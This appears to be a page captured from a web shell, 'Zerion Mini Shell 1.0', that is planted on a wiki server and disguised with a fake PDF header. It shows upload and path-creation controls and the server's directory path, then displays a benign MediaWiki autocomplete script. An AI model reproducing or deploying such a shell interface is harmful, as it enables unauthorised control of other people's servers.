%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/resources/src/mediawiki/htmlform/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/resources/src/mediawiki/htmlform/autocomplete.js

/*
 * HTMLForm enhancements:
 * Set up autocomplete fields.
 */
( function ( mw, $ ) {

	mw.hook( 'htmlform.enhance' ).add( function ( $root ) {
		var $autocomplete = $root.find( '.mw-htmlform-autocomplete' );
		if ( $autocomplete.length ) {
			mw.loader.using( 'jquery.suggestions', function () {
				$autocomplete.suggestions( {
					fetch: function ( val ) {
						var $el = $( this );
						$el.suggestions( 'suggestions',
							$.grep( $el.data( 'autocomplete' ), function ( v ) {
								return v.indexOf( val ) === 0;
							} )
						);
					}
				} );
			} );
		}
	} );

}( mediaWiki, jQuery ) );

Zerion Mini Shell 1.0